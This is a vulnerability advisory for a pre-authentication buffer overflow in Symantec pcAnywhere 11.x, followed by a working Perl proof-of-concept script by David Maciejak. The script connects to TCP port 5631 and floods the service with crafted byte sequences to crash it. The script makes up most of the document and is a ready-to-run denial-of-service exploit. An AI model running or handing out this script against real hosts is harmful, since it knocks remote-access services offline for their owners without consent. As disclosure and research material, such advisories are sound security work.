source: https://www.securityfocus.com/bid/15646/info

Symantec pcAnywhere is vulnerable to a buffer overflow vulnerability. Because the flaw can be triggered prior to authentication, the vulnerability is exploitable by remote attackers without valid credentials. It is confirmed that the vulnerability can be exploited to cause a denial of service. Supported versions 11.0.1 and 11.5.1 are confirmed affected. Previous versions are vulnerable and users are advised to upgrade to the latest supported version.

Patches are available. 

#!/usr/bin/perl -w
# Version 2.0
#
# PoC for
# pcAnywhere Authentication Denial of Service Vulnerability
# Bugtraq ID: 	15646
#
# Tested on pcanywhere v11.0 and v11.0.1
#
# Author: David Maciejak
# Date: 20060117
#
##############################

use IO::Socket;

if (@ARGV<1)
{
	die "usage: $0 pcanywhere_ip [port]";
}

$host=$ARGV[0];
$port=$ARGV[1] || 5631;

$|=1;

$cl1="\x00\x00\x00\x00";
$cl2="\x6F\x06\xff"; 
$cl3="\x6f\x61\x00\x09\x00\xfe\x00\x00\xff\xff\x00\x00\x00\x00";
$cl4="\x6f\x62\x01\x02\x00\x00\x00";

$sock = IO::Socket::INET->new( PeerAddr => $host,
		 	  PeerPort => $port,
			  Proto => 'tcp'
			);
		
die "Could not create socket: $! \n" unless $sock;

$sock->send($cl1);
$sock->recv($buff,32768);
$sock->send($cl2 x 50);
$sock->recv($buff,32768);
$sock->send($cl3 x 50);
$sock->recv($buff,32768);
$sock->send($cl4);
$sock->recv($buff,32768);

$str='\x06'.'\x04'.'\0xffffffc0'x300;
$sock->send($str x 50);
close $sock;